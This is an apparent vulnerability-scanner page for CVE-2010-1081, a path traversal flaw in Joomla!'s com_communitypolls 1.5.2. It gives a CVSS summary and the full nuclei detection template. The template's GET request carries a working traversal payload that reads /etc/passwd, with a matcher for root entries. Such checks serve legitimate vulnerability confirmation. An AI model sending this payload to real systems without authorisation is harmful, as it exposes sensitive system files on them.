Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion

mediumseverity

5CVSS score

14.6%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the Community Polls (com_communitypolls) component 1.5.2, and possibly earlier, for Core Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.

Fix

Apply all relevant security patches and product upgrades.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-1081 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-1081

info:
  name: Joomla! Component com_communitypolls 1.5.2 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Community Polls (com_communitypolls) component 1.5.2, and possibly earlier, for Core Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files, remote code execution, and potential compromise of the entire Joomla! installation.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11511
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1081
    - http://www.corejoomla.com/component/content/article/1-corejoomla-updates/40-community-polls-v153-security-release.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1081
    cwe-id: CWE-22
    epss-score: 0.14597
    epss-percentile: 0.96678
    cpe: cpe:2.3:a:corejoomla:com_communitypolls:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: corejoomla
    product: com_communitypolls
  tags: cve,cve2010,joomla,lfi,edb,corejoomla,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_communitypolls&controller=../../../../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

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